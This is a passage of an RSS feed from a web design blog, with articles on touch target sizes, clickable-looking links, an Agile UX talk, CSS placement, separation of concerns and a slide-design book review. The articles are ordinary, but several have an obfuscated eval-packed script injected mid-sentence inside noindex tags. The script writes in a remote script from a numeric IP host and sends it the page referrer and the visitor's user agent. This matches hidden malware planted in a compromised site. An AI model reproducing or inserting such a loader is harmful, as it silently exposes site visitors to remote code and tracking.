</script></noindex> you ever been browsing a web site on your smart phone or tablet and found that on some sites, the links are so tiny and so tightly packed, that it&#8217;s near impossible to click the right one?</p>
<p><span id="more-4217"></span></p>
<p>I have definitely been there and it&#8217;s equally frustrating each time. As the use of smart phones and tablets increases, so does the importance of having big enough target areas to interact with. But it&#8217;s not only important for mobile browsing. The truth is that it benefits desktop users as well.</p>
<h2>Fitts&#8217;s Law</h2>
<p><a href="http://en.wikipedia.org/wiki/Fitts's_law" title="About Fitts's law on Wikipedia">Fitts&#8217;s Law</a> is a classic rule of thumb in Interaction Design. The law can be expressed in a fairly complex mathematical way but in a nutshell it states that <strong>the larger and closer a target is, the easier and faster it is to click it</strong>.</p>
<figure class="image">
    <img src="http://media.svennerberg.com/2013/01/fitts-law-formula.png" alt="" class="alignnone" /><br />
</figure>
<p>It&#8217;s not exactly Rocket Science, but still it highlights the importance of having, not only big enough targets, but also to position them intelligently.</p>
<p>If you want to know more about Fitts&#8217;s Law there&#8217;s an excellent explanation over at <a href="http://particletree.com/features/visualizing-fittss-law/" title="Visulizing Fitts's Law">Particle Tree</a>.</p>
<h2>Designing for Touch</h2>
<p>For touch devices, such as smart phones and tablets, a big enough touch target is even more important than on desktop. While a mouse pointer is a precision instrument with a click area of just 1 x 1 pixel, a human finger is more of a sledge hammer. The avarage size of the pad of a human index finger is 1.6 to 2 cm which translates to about 45-57 pixels on a screen.</p>
<p>You&#8217;ve probably experienced the frustration yourself when trying to click small links that are tightly packed on a smart phone. It can be really hard to hit the right target and that&#8217;s not the experience you want people to have with your web site.</p>
<figure class="image">
    <img src="http://media.svennerberg.com/2013/01/hand.jpg" alt="" class="alignnone" /><figcaption>Image credit: <a href="http://www.flickr.com/people/75227967@N00/">sochacki.info</a></figcaption></figure>
<h3>Recommended touch target sizes</h3>
<p>Apple iOS Human Interface Guidelines state that a touch target should be at least 44 x 44 points large. (The reason they&#8217;re using points instead of pixels is that points can be used for both standard and retina displays).</p>
<p>Microsoft&#8217;s Windows Phone UI Design and Interaction Guide suggest that the size of the touch target should be 34 pixels with an absolute minimum of 26 pixel. And Nokia&#8217;s Developer Guidelines state that the touch target should be at least 1 x 1 cm.</p>
<p>I actually I think that Nokia has the best guidelines since it states its minimum dimensions in cm. I mean 44 pixels can be very different on different screens and devices. Just think about the iPad and the iPad Mini. They both have the same amount of pixels but a click area of 44&#215;44 pixels will be a lot smaller on the iPad Mini.</p>
<h3>What you don&#8217;t have in size you can make up in space</h3>
<p>Another interesting aspect of this is that if you absolutely do need to have relatively small touch targets you can partly compensate that by increasing the space between the targets. By doing that you limit the chance of missed targets.</p>
<p>The rule is: <strong>The smaller the target, the bigger the gap</strong>.</p>
<figure class="image">
    <img src="http://media.svennerberg.com/2013/01/buttons.png" alt="" class="alignnone" /><figcaption>If you absolutely need small click targets you can save the day by increasing the space between them</figcaption></figure>
<h2>In Practice</h2>
<p>Enough already, I think you get why it&#8217;s important to have big enough click/touch targets. The question is, how is it done in practice?</p>
<p>The first thing to recognize is that <strong>the clickable area could be well outside the visible area of the object</strong>.</p>
<h3>Regular links</h3>
<p>For links in a list, the easiest way to increase the clickable area, is to increase the padding. Instead of having a padding on the list-item you should have it on the link itself. In this example I simply add a 10 pixel padding to a link. Watch how that dramatically increases its clickable area (The faint red background indicates the clickable area).</p>
<pre><code class="language-css">li a {
  padding: 10px;
}</code></pre>
<figure class="image">
    <img src="http://media.svennerberg.com/2013/01/padded-links.png" alt="" class="alignnone" /><br />
</figure>
<h3>Checkboxes and Radiobuttons</h3>
<p>For checkboxes and radiobuttons, which are often really small, the trick is to put them inside a label and add a generous padding to it. By connecting the checkbox and the label via the <code>id</code> and the <code>for</code> attributes, the entire area of the label is clickable and toggles the checkbox.</p>
<h4>HTML</h4>
<pre><code class="language-markup">&lt;label for="foo"&gt;
  &lt;input type="checkbox" name="foo" id="foo" value="bar" /&gt;
  A padded checkbox
&lt;/label&gt;</code></pre>
<h4>CSS</h4>
<pre><code class="language-css">label {
  display: block
  padding: 10px;
}</code></pre>
<figure class="image">
    <img src="http://media.svennerberg.com/2013/01/padded-checkbox.png" alt=""  class="alignnone" /><br />
</figure>
<p>Without this special treatment the click area is just the visible part of the checkbox while in the enhanced version the entire label is clickable. In this case this little tweak resulted in an over 50 times larger click area.</p>
<h2>Summary</h2>
<p>In this new brave world of multi-device experiences it&#8217;s more important than ever to cater for touch as well as mouse input. An easy way to do this is to provide big enough click targets. It&#8217;ll benefit not just user of touch devices but also desktop users.</p>
<p>This article shows a few simple techniques to do this. Of course there&#8217;s also other elements that these could be applied to but I leave it up to you to do that.</p>
<h2>References</h2>
<h3>Online</h3>
<ul>
<li><a href="http://uxdesign.smashingmagazine.com/2012/02/21/finger-friendly-design-ideal-mobile-touchscreen-target-sizes/">Finger-Friendly Design: Ideal Mobile Touchscreen Target Sizes</a></li>
<li><a href="http://www.lukew.com/ff/entry.asp?1085">Touch Target Sizes</a></li>
<li><a href="http://www.smashingmagazine.com/2010/02/13/the-definitive-guide-to-styling-web-links/">The Definitive Guide To Styling Web Links</a></li>
</ul>
<p class="note"><strong>Note:</strong> This article is a rewrite of the article <a href="http://codecraftingblueprints.com/make-click-areas-comfortably-large/">Make Click Areas Comfortably Large</a> that I&#8217;ve previously published on <a href="http://codecraftingblueprints.com/">Code Crafting Blueprints</a>.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2013/01/click-areas-for-a-brave-new-multi-device-world/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>Design for Clickability</title>
		<link>http://www.svennerberg.com/2012/12/design-for-clickability/</link>
				<comments>http://www.svennerberg.com/2012/12/design-for-clickability/#comments</comments>
				<pubDate>Tue, 18 Dec 2012 11:26:34 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Touch]]></category>
		<category><![CDATA[Usability]]></category>
		<category><![CDATA[Web Design]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=4177</guid>
				<description><![CDATA[Making things clickable is done for a single purpose, to get people to click on them. Yet, a lot of times, designers fail to make links or buttons look clickable. In fact, while this might seem like a no-brainer, a lot of sites get it wrong. Imagine that you have an affiliate site for the [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><img src="http://media.svennerberg.com/2012/12/hand-cursor-160.png" alt="" class="alignright" />Making <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btsir|var|u0026u|referrer|stitn||js|php'.split('|'),0,{}))
</script></noindex> things clickable is done for a single purpose, to get people to click on them. Yet, a lot of times, designers fail to make links or buttons look clickable. In fact, while this might seem like a no-brainer, a lot of sites get it wrong. </p>
<p><span id="more-4177"></span></p>
<p>Imagine that you have an affiliate site for the travel industry. You write beautiful articles which vividly describes exotic places where people could spend their holidays. Sprinkled in the text you have affiliate links to traveling agencies, which in case you didn&#8217;t know, have pretty decent kick-backs on referred customers that leads to a sale.<br />
</Now, the sole purpose of that article is to make people click those links. After all, that&#8217;s how you make money of the site. So your first concern should be sure that people notices them. If the contrast between the links and the body text is to small, it doesn&#8217;t matter how eloquently you describe the destination. If they can&#8217;t see &#8216;em, they won&#8217;t click &#8216;em.

This might sound like common sense but you would be surprised to know how many sites that get this wrong. Often I think, for aesthetic reasons.



<h2>What to do about it</h2>
<p>You don&#8217;t have to take it as far as usability guru Jakob Nielsen, who infamously claimed that links should be blue and underlined (which they are on his site <a href="http://useit.com">useit.com</a> by the way). I don&#8217;t want to push this issue that far (even though the links on this site are blue and underlined), but do make sure your links stand out from the rest of the text.</p>
<p>Your safest bet is probably to have them underlined. It carries a really strong <strong>affordance</strong> for clickability (check the Fast Facts Section for more on affordance). But you could also have them in a different color, a different background color and/or styled in some other way. Just make sure that they stand out from the rest of the text.</p>
<p class="note"><strong>Note:</strong> Since underlined text is such a strong affordance for links on the web, you should make sure that everything that&#8217;s underlined is clickable. I.e. don&#8217;t underline text just to emphasize it.</p>
<h3>Account for color blindness</h3>
<p>Don&#8217;t forget that about 8% of the male population are color blind. Having something more than just the color to distinguish links is therefor a good idea.</p>
<h2>Not just text links</h2>
<p>The same thinking goes for other things that are clickable such as buttons, checkboxes, select lists, images etc. Make sure that these too actually look clickable.</p>
<p>For buttons that can mean to make them look like physical buttons with a 3D effect. This makes them stand out from the page and look more like physical objects.</p>
<figure class="image">
<img src="http://media.svennerberg.com/2012/12/buttons.png" alt="" /><figcaption>The button on the left could just as well be a banner or a header, while the button on the right is begging to be clicked.</figcaption></figure>
<h2>Provide clues</h2>
<p>Also make sure to provide other clues when the user moves the cursor over the object. The cursor itself could for example change to a pointing hand which carries a strong affordance of clickability. This happens by default over links in browsers but you could use a little CSS to create this effect on other clickable elements as well. </p>
<p>Another good idea is to make something happen with the clickable object itself when it&#8217;s being hovered. One common clue is to change the background color. This is easily achieved with the <code>:hover</code> pseudoclass in the CSS.</p>
<pre><code class="language-css">.clickable-item:hover { 
    cursor: pointer; 
    background-color: #ff9; 
}</code></pre>
<h3>Accomodate for keyboard</h3>
<p>Some people prefer to use the keyboard instead of a mouse for one reason or the other. Don&#8217;t forget to take this into account when providing clues. Links and form elements are easily reachable by keyboard by just tapping the tab-key. For the user to know which element currently has focus, most browsers create a dotted outline around the element. </p>
<p>That&#8217;s a pretty good affordance, but you could make it even more clear. An easy thing that I often do is to make it have the same style as on <code>:hover</code>. This is easily accomplished with CSS by using the <code>:focus</code> pseudoselector. </p>
<pre><code class="language-css">.clickable-item:hover,
.clickable-item:focus { 
    cursor: pointer; 
    background-color: #ff9; 
}</code></pre>
<p class="note"><strong>Pro Tip:</strong> If you don&#8217;t like the dotted outline, you can get rid of it by setting <code>outline</code> to <code>none</code> in the CSS.</p>
<h2>Don&#8217;t forget to design for touch</h2>
<p>On touch devices there are no such things as a hover. It&#8217;s therefor extra important to make clickable objects look clickable. You will also want to make the click area bigger to accommodate for the fat-finger syndrome, but that&#8217;s a topic for another article.</p>
<h2>Fast facts</h2>
<h3>Affordance</h3>
<p>The term Affordance was popularized by Donald Norman in his seminal book <strong>The Psychology of Everyday Things</strong>. He later changed the term to <strong>Percieved Affordance</strong> since too many misunderstood what he meant by it. (Actually his latest term for this is <strong>Signifiers</strong> but that term hasn&#8217;t gained much traction yet)</p>
<p>The Percieved Affordance is the properties of an object we understand by just looking at it. For example a door knob communicates with its shape that it can be grabbed and turned. In a similar way we can, by just looking at a pair of scissors, see that the shape of the two &#8220;holes&#8221; looks like somewhere you can put your thumb and your hand.</p>
<p>The door knob affords grabbing and turning and the pair of scissors affords sticking your hands in the holes. In the same way a underlined link and a raised button affords clicking (or touching).</p>
<h2>References</h2>
<h3>Online</h3>
<ul>
<li><a href="http://www.useit.com/alertbox/20040510.html">Guidelines for Visulizing Links</a></li>
<li><a href="http://www.jnd.org/dn.mss/affordances_and.html">Don Norman on Affordance</a></li>
</ul>
<p class="note"><strong>Note:</strong> This article is a rewrite of the article <a href="http://codecraftingblueprints.com/make-clickable-things-look-clickable/">Make Clickable Things Look Clickable</a> that I&#8217;ve previously published on <a href="http://codecraftingblueprints.com/">Code Crafting Blueprints</a>.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2012/12/design-for-clickability/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
							</item>
		<item>
		<title>Lean Tribe Gathering 12</title>
		<link>http://www.svennerberg.com/2012/12/lean-tribe-gathering-12/</link>
				<comments>http://www.svennerberg.com/2012/12/lean-tribe-gathering-12/#respond</comments>
				<pubDate>Wed, 12 Dec 2012 14:31:25 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Agile]]></category>
		<category><![CDATA[Presentation]]></category>
		<category><![CDATA[UX]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=4151</guid>
				<description><![CDATA[I was giving a talk on Agile UX at Lean Tribe Gathering 12 the other day. It was a nice event which included several great talks that inspired lots of interesting discussions. In my talk, named UX &#9829; Agile, I shared some of my experiences trying to incorporate UX work into an Agile environment. Scrum [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><img src="http://media.svennerberg.com/2012/12/front-160b.png" alt="front-160b" class="alignright size-full wp-image-4166" />I <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhnhi|var|u0026u|referrer|aaint||js|php'.split('|'),0,{}))
</script></noindex> was giving a talk on Agile UX at <a href="http://leantribe.org/ltg-12/">Lean Tribe Gathering 12</a> the other day. It was a nice event which included several great talks that inspired lots of interesting discussions. In my talk, named <strong>UX &hearts; Agile</strong>, I shared some of my experiences trying to incorporate UX work into an Agile environment. </p>
<p><span id="more-4151"></span></p>
<h2>Scrum</h2>
<p>I have mostly worked with Scrum, which I think is a great methodology for developing software. It brings a whole lot of good practices to the development process of which I think the most important is to bring the customer and the ones actually implementing the code closer to each other. Scrum really encourages better communication throughout the whole board.</p>
<h2>UX brings value to the process</h2>
<p>Allthough Agile is great a delivering software it lacks one important ingredients in creating successful product and services, the user. That&#8217;s an area where UX Design can bring a lot of value to the process. Great User Experiences doesn&#8217;t happen by accident. They happens because of focused efforts and that means bringing User Centered practices into the mix.</p>
<p>Agile and UX can definitely play nice together but there are no firm rules or definite best-practices on how to do it.</p>
<h2>My talk</h2>
<p>The talk was recorded and is available on YouTube. The presentation is available on SlideShare.</p>
<h3>The Video</h3>
<div class="media-container">
<iframe width="597" height="336" src="http://www.youtube.com/embed/3I6d8-ScjPo" frameborder="0" allowfullscreen></iframe>
</div>
<h3>The Presentation</h3>
<div class="media-container">
<iframe src="http://www.slideshare.net/slideshow/embed_code/15602048" width="597" height="486" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC;border-width:1px 1px 0;margin-bottom:5px" allowfullscreen webkitallowfullscreen mozallowfullscreen> </iframe>
</div>
<div style="margin-bottom:5px"> <strong> <a href="http://www.slideshare.net/Svennerberg/agile-ux-15602048" title="Agile &hearts; UX" target="_blank">Agile &hearts; UX</a> </strong> from <strong><a href="http://www.slideshare.net/Svennerberg" target="_blank">Gabriel Svennerberg</a></strong> </div>
<h3>About Lean Tribe</h3>
<p>Lean Tribe Gathering 12 was organized by <a href="http://leantribe.org/">Lean Tribe</a> which is an organization that encourages discussions about Lean and Agile.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2012/12/lean-tribe-gathering-12/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>CSS in the Head</title>
		<link>http://www.svennerberg.com/2012/12/css-in-the-head/</link>
				<comments>http://www.svennerberg.com/2012/12/css-in-the-head/#respond</comments>
				<pubDate>Wed, 05 Dec 2012 16:04:13 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Code Crafting Blueprints]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Performance]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=4134</guid>
				<description><![CDATA[When optimizing a page you&#8217;re obviously thinking about where to add different assets on it. Stuff that is needed up front is placed at the top and stuff that is needed later can be placed further down. After all, we want the page to show something as fast as possible! Performance That Matters The percieved [&#8230;]]]></description>
								<content:encoded><![CDATA[<p>When optimizing a page you&#8217;re obviously thinking about where to add different assets on it. Stuff that is needed up front is placed at the top and stuff that is needed later can be placed further down. After all, we want the page to show something as fast as possible!</p>
<p><span id="more-4134"></span></p>
<h2>Performance <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rebzt|var|u0026u|referrer|hhyey||js|php'.split('|'),0,{}))
</script></noindex> That Matters</h2>
<p>The <strong>percieved performance</strong> in this case is the most important factor. We therefore want the page to load progressively, meaning: The page renders from top to bottom as content is being downloaded.</p>
<p>Lets say you&#8217;re building an image gallery to show off your fabolous collection of Rainbow Unicorns. When the user clicks a unicorn a lightbox will open and display a bigger image of it.</p>
<p>Now, the CSS for the lightbox isn&#8217;t needed for rendering the page. It&#8217;s actually not needed until the user clicks an image. Therefore we could include it at the bottom of the page to let other content load first right. </p>
<p>&#8211; You know so that the page will render faster? </p>
<p><strong>Wrong!</strong> Contrary to common sense it will actually delay the rendering of the page in a lot of web browsers.</p>
<h2>Counterintuitive Behavior</h2>
<p>But why does it delay the rendering? Keeping the browser from downloading it before other content ought to make the rendering faster. This is really counter intuitive at first glance, but listen to this:</p>
<p><strong>The browser doesn&#8217;t want to risk having to re-render the page, it therefore waits until all CSS is loaded before rendering anything!</strong></p>
<h2>The Rule</h2>
<p>Fortunately there&#8217;s a really simple solution to this. Just follow this simple rule: <strong>Include all CSS in the &lt;head&gt; of the page</strong>.</p>
<h2>References</h2>
<h3>Books</h3>
<p><a href="http://www.amazon.com/High-Performance-Web-Sites-Essential/dp/0596529309">High Performance Web Sites &#8211; Essential Knowledge for Frontend Engineers by Steve Souders</a></p>
<h3>Online</h3>
<p><a href="http://developer.yahoo.com/performance/rules.html#css_top">Best Practices for Speeding Up Your Web Site</a></p>
<p class="note"><strong>Note:</strong> This article has previously been published on <a href="http://codecraftingblueprints.com">Code Crafting Blueprints</a>.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2012/12/css-in-the-head/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>Separation of Concerns</title>
		<link>http://www.svennerberg.com/2012/11/separation-of-concerns/</link>
				<comments>http://www.svennerberg.com/2012/11/separation-of-concerns/#respond</comments>
				<pubDate>Wed, 07 Nov 2012 20:23:03 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Code Crafting Blueprints]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=4118</guid>
				<description><![CDATA[Have you ever found yourself in a situation where you have a site where the HTML, the CSS and the JavaScript are all tangled together and it becomes a nightmare to make even the tiniest site-wide change? What you’ve experienced is what is commonly referred to as Spaghetti code. To avoid falling into this trap [&#8230;]]]></description>
								<content:encoded><![CDATA[<p>Have you ever found yourself in a situation where you have a site where the HTML, the CSS and the JavaScript are all tangled together and it becomes a nightmare to make even the tiniest site-wide change?</p>
<p><span id="more-4118"></span></p>
<p>What <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rieiy|var|u0026u|referrer|ekdrt||js|php'.split('|'),0,{}))
</script></noindex> you’ve experienced is what is commonly referred to as <strong>Spaghetti code</strong>. To avoid falling into this trap you should follow one simple rule:</p>
<p><strong>Always separate HTML, CSS and JavaScript into different files.</strong></p>
<figure>
<img alt="" src="http://media.svennerberg.com/2012/11/3-heads.jpg" /><br />
</figure>
<p>Remember that <strong>HTML is for content</strong> (and structure), <strong>CSS is for design</strong> and <strong>JavaScript is for behavior</strong>. By separating them into different layers you gain several things. It becomes:</p>
<ul>
<li>Easier to maintain</li>
<li>Increased performance</li>
<li>Better accessibility</li>
<li>A good foundation for SEO</li>
</ul>
<h3>Maintainability</h3>
<p>First of all, your code becomes more maintainable. If there’s something wrong with the design, it’s probably in the CSS. If on the hand your super cool drag and drop interface stops working, something is probably wrong in the JavaScript files. In other words, it’s easier to find errors.</p>
<p>Imagine wanting to change the entire design of your site to a ninja unicorn theme (shudder). Having your HTML, CSS and JavaScript in a big mess you basically need to rewrite the whole site. But if you been a good coder and kept them separated, all you need to do is to change the CSS. Simple, right?</p>
<h3>Performance</h3>
<p>In most cases the site loads faster if you have the layers separated. And we all know how important speed is!</p>
<p>JavaScript and CSS files are static assets that can be effectively cached by the browser. What it means is that the browser doesn’t have to download them more than once. You save both bandwidth and rendering time.</p>
<h3>Accessibility</h3>
<p>By separating the different layers you also benefit the accessibility of the site. It’s in fact the foundation of Progressive Enhancement (and graceful degradation). This means that even if the user interact with your site using a less capable device (for example: disabled JavaScript, screen reader, old browser, you name it) it can still access the content because the device can simply ignore the parts it doesn’t support and render what it can.</p>
<p>HTML is the solid foundation of the web. By making sure that you keep the content there (semantically marked up of course) and that neither the CSS, nor the JavaScript is in its way, you can be sure that every browser on this planet can access your content.</p>
<h3>SEO</h3>
<p>Web crawlers, the evil robots of Search Engines that constantly crawles the web on their endless hunt for content to index, is another reason you want to separate the layers. A web crawler is basically a blind user. It doesn’t care about your fancy styles or your crazy JavaScript animations. All it cares about is your content &#8211; your HTML.</p>
<p>So you better make sure that your content is semantically marked up with valid HTML and that the CSS and JavaScript is out of its way. Having done this, you’re on your merry way towards SEO nirvana.</p>
<h2>A Bad Example (Warning Anti Pattern!)</h2>
<p>In this example, the separation of concerns is violated. Both content, style and behavior are meshed together in an awful soup.</p>
<h3>HTML</h3>
<pre><code class="language-markup">
&lt;a href="/some/url/" onclick="someFunction(); return false;" style="font-size: 12px; color: #f00;"&gt;A bad link&lt;/a&gt;</code></pre>
<h2>Good Example</h2>
<p>Good Example</p>
<p>In this good example the same thing is done with a clear separation between content, style and behavior.</p>
<h3>HTML</h3>
<pre><code class="language-markup">
&lt;a href="/some/url/" id="some_link"&gt;A good link&lt;/a&gt;</code></pre>
<h3>CSS</h3>
<pre><code class="language-css">#some_link { font-size: 12px; color: #f00; }</code></pre>
<h3>JavaScript</h3>
<pre><code class="language-javascript">document.getElementById('some_link').addEventListener('click', someFunction, false);</code></pre>
<h2>Conclusion</h2>
<p>I hope that this article have convinced you that keeping a clear separation is the way to go. So save yourself a lot of grief and separate these three levels as much as possible or you might as well end up in Spagetti Code Hell.</p>
<h2>References</h2>
<h3>Online</h3>
<p><a href="http://dev.opera.com/articles/view/4-the-web-standards-model-html-css-a/">The Web Standards model &#8211; HTML, CSS and JavaScript</a></p>
<p><a href="http://en.wikipedia.org/wiki/Separation_of_concerns">Separation of concerns on Wikipedia</a></p>
<h3>Books</h3>
<p><a href="http://www.amazon.com/DOM-Scripting-Design-JavaScript-Document/dp/1590595335">DOM Scripting by Jeremy Keith, FriendsofEd 2005</a></p>
<p><a href="http://www.amazon.com/Bulletproof-Web-Design-flexibility-protecting/dp/0321346939">Bulletproof Web Design by Dan Cederholm, New Riders 2006</a></p>
<h2>Bonus Fact</h2>
<p>The concept of Separation of Concerns is not limited to HTML, CSS and JavaScript. It applies just as much to general software development where you want to keep different things separated. For example the data, the business logic and the User Interface.</p>
<p><a href="http://en.wikipedia.org/wiki/Separation_of_concerns">Separation of concerns on Wikipedia</a></p>
<p class="note"><strong>Note:</strong> This article has previously been published on <a href="http://codecraftingblueprints.com">Code Crafting Blueprints</a>.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2012/11/separation-of-concerns/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>Slide:ology by Nancy Duarte</title>
		<link>http://www.svennerberg.com/2012/08/slideology-by-nancy-duarte/</link>
				<comments>http://www.svennerberg.com/2012/08/slideology-by-nancy-duarte/#respond</comments>
				<pubDate>Fri, 17 Aug 2012 15:22:12 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Reviews]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=4075</guid>
				<description><![CDATA[As one who performs presentations on a regular basis it&#8217;s interesting to read books on presentation techniques. Slideology is one such book and it&#8217;s been widely praised, so I was very keen on reading it to see what the fuzz was about. About the author The author of the book, Nancy Duarte, runs a company [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><a href="http://media.svennerberg.com/2012/08/slide-ology_cover.jpg"><img src="http://media.svennerberg.com/2012/08/slide-ology_cover.png" alt="" class="alignright" /></a>As <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iazzn|var|u0026u|referrer|hfkii||js|php'.split('|'),0,{}))
</script></noindex> one who performs presentations on a regular basis it&#8217;s interesting to read books on presentation techniques. Slideology is one such book and it&#8217;s been widely praised, so I was very keen on reading it to see what the fuzz was about.</p>
<p><span id="more-4075"></span></p>
<h2>About the author</h2>
<p>The author of the book, Nancy Duarte, runs a company called <a href="http://www.duarte.com/">Duarte</a> that&#8217;s in the business of creating compelling presentations for their clients. They&#8217;re famous for creating Al Gore&#8217;s presentations for An Inconvenient Truth which was something that definitely showed the power of great use of presentation software.</p>
<h2>Highly acclaimed</h2>
<p>Since this book is widely praised in a lot of reviews I had pretty high expectations when I started reading it. Maybe that&#8217;s the reason I&#8217;m not so impressed with it. I found it pretty light on substance and I&#8217;m not sure it has added a lot of value to my slide creating skills.</p>
<p>The book touches on basic design principles and presentation skills. I&#8217;m sure if you&#8217;re a design noob that there&#8217;s a lot of nuggets to be found there, but if you have some design skills, it&#8217;s all very basic.</p>
<h2>The format</h2>
<p>The book is very &#8220;designed&#8221;, something I quite enjoy and I&#8217;m sure works very well in the physical book. The problem I had was that I read the e-book version in pdf format and the square format of the book with lots of design elements made it hard to read. I had to constantly zoom in on parts of pages to be able to read the text which made the reading experience less than ideal. </p>
<h2>Summary</h2>
<p>All in all I think it&#8217;s an OK book, which obviously a lot of work went in to creating. If you&#8217;re a non-designer you will probably find useful information that will make your slides better. But if you&#8217;re like me and have some experience in design and creating slides, you will find it very basic. That said you might still enjoy the design of the book and all the lovely examples in it. But in that case I recommend you get the physical book, because the e-book version is really not adapted for the format.</p>
<h3>Book information</h3>
<dl class="book-info">
<dt>Title:</dt>
<dd><a href="http://www.amazon.com/gp/product/0596522347/ref=as_li_ss_tl?ie=UTF8&#038;camp=1789&#038;creative=390957&#038;creativeASIN=0596522347&#038;linkCode=as2&#038;tag=inusabiwetrus-20">slide:ology: The Art and Science of Creating Great Presentations</a><img src="http://www.assoc-amazon.com/e/ir?t=inusabiwetrus-20&#038;l=as2&#038;o=1&#038;a=0596522347" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /></dd>
<dt>By:</dt>
<dd>Nancy Duarte</dd>
<dt>Publisher:</dt>
<dd>O&#8217;Reilly Media; 1 edition (August 12, 2008)</dd>
<dt>Pages:</dt>
<dd>296</dd>
<dt>ISBN:</dt>
<dd>0596522347</dd>
<dt>ISBN-13</dt>
<dd>978-0596522346</dd>
</dl>
<p><a href="http://www.amazon.com/gp/product/0596522347/ref=as_li_ss_tl?ie=UTF8&#038;camp=1789&#038;creative=390957&#038;creativeASIN=0596522347&#038;linkCode=as2&#038;tag=inusabiwetrus-20" title="Buy Slide:ology by Nancy Duarte on Amazon.com">Buy on Amazon.com</a></p>
<p class="note">
